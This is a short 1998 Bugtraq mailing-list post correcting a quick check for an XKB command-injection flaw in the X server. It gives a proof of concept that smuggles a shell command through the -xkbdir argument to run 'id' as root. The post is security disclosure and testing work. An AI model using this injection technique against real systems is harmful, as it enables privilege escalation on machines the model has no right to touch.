[6065] in bugtraq

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serious security problem in XKB--ERRATUM

daemon@ATHENA.MIT.EDU (Pavel Kankovsky)
Wed Feb 4 10:33:02 1998

Date: 	Wed, 4 Feb 1998 10:39:28 +0100
Reply-To: peak@kerberos.troja.mff.cuni.cz
From: Pavel Kankovsky <peak@KERBEROS.TROJA.MFF.CUNI.CZ>
X-To:         linux-security@redhat.com
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To:  <Pine.LNX.3.95.980203191041.17555H-100000@kerberos.troja.mff.cuni.cz>

> Quick vulnerability check:
>
> $ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;'
> [exit X server]
> $ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'

This should read:

$ Xserver -xkbdir ':;id > /tmp/I_WAS_HERE;'
[exit X server]
$ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'


--Pavel Kankovsky aka Peak   [ Boycott Microsoft -- http://www.vcnet.com/bms ]

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